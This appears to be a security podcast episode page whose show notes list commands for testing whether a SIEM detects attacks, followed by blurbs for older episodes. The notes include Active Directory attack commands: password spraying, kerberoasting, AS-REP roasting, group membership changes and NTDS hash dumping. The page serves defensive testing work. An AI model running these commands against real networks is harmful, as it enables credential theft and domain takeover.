7MS #554: Simple Ways to Test Your SIEM
7 Minute Security6 Tammi 2023

7MS #554: Simple Ways to Test Your SIEM

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered:

Port scanning
nmap 10.0.7.0/24 - basic nmap scan
massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports!

Password spraying
Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt

Kerberoasting and ASREPRoasting
rubeus.exe kerberoast /simple
rubeus asreproast /nowrap

Key group membership changes
net group "GROUP NAME" user-to-add-to-a-group /add

Dump Active Directory hashes
cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled
ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q

SMB share hunting
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

Jaksot(683)

7MS #258: Speaking at Secure360 - Part 2

7MS #258: Speaking at Secure360 - Part 2

Intro I mentioned last week that I was speaking at the Secure360 conference here in the Twin Cities, and at that time I was preparing a talk called Pentesting 101: No Hoodie Required. I was so nervous that I've basically spent the last week breathing heavily into paper bags and wishing I was on sedatives. But I have good news to report in today's episode, friends! The talk was very well received and the attendees didn't get out torches and pitchforks! #winning! So today's episode (audio below) talks more about the public speaking experiences and highlights some lessons learned: Things I'd do again next time I'd not tempt the demo gods and still pre-record my hacking movies ahead of time. I saw some people do live demos of very technical things and it did not go well for a few of them :-( I would still spend way too many hours cutting together my movies in iMovie so that they followed a good tempo when presented live I would still have a copy of my presentation on two different laptops, 3 USB thumb drives, a cloud copy, and a copy sent to the Secure 360 folks just in case. Backups, backups, backups - am I right? What I'd do differently next time I'd hopefully have the preso done a few days (weeks, even!) ahead of time and practice it in front of colleagues to get some feedback. I'd still have a theme to the presentation, but rather than something specific like Terminator 2, maybe I'd go even more general and pick a movie/character that could appeal even more to the masses. I wouldn't worry so much about having a presentation that "nails it" for everybody. That's just not possible! We're all coming from different backgrounds and skillsets. It's not gonna be a home run for everybody.

18 Touko 201714min

7MS #257: Speaking at Secure360

7MS #257: Speaking at Secure360

The nervous butterflies are chewing up my organs this week. Why? Because I'm speaking at Secure360 next Tuesday and Wednesday. I'm trying to build a presentation that: Appeals to both techie nerds like me, as well as regular human people Strikes a healthy balance between fun and informative So, my outline is roughly as follows: Intros Lets talk about pentesting vs. vulnerability scans Build your own hackin' lab for $500! Good/bad training (CEH vs. OSCP) Lets hack some stuff following a methodology! Tune in today's episode for more...

11 Touko 201711min

7MS #256: AlienVault Certified System Engineer - Part 2

7MS #256: AlienVault Certified System Engineer - Part 2

So a few weeks ago I did an episode about the AlienVault Certified Security Engineer certification, and last Friday I took a stab at the test. I failed. It kicked my butt. Today I'm here to both rant about the unfairness of the test and offer you some study tips so you don't suffer a similar fate. P.S. - you should definitely check out this blog as it's one of the few valuable study guides I could find out there on the Interwebs.

4 Touko 201711min

7MS #255: PwnPro 101

7MS #255: PwnPro 101

I'm kicking the tires on the PwnPro which is an all-in-one wired, wireless and Bluetooth assessment and pentesting tool. Upon getting plugged into a network, it peers with a cloud portal and lets you assess and pentest from the comfort of your jammies back at your house! Oh, and did I mention it runs Kali on the back end? Delicious. Today's episode dives into some of what I've been learning about the PwnPro as I run it through its paces at work and warm it up for our first customer assessment...

27 Huhti 201710min

7MS #254: Bash Bunny

7MS #254: Bash Bunny

I've been working with the Bash Bunny for the past few weeks in preparation for a presentation/demo I'm doing in a few weeks. Today I want to talk about what the Bunny is, the cool things it can do, and some of my favorite payloads. Also, I started thinking about what conversation topics spawn from a demo of the Bunny. Specifically, I want to know how people would defend against the Bunny using AD policies, peripheral controls, etc. Check out the Hak5 thread I started about this, as it has got some great ideas.

20 Huhti 201710min

7MS #253: Desperately Seeking Service Accounts

7MS #253: Desperately Seeking Service Accounts

Find the show notes here!

13 Huhti 20179min

7MS #252: LAPS - Local Administrator Password Solution

7MS #252: LAPS - Local Administrator Password Solution

Show notes are here.

6 Huhti 20178min

7MS #251: Blackholing Malvertising with Pi-Hole

7MS #251: Blackholing Malvertising with Pi-Hole

Show notes are here

30 Maalis 201710min

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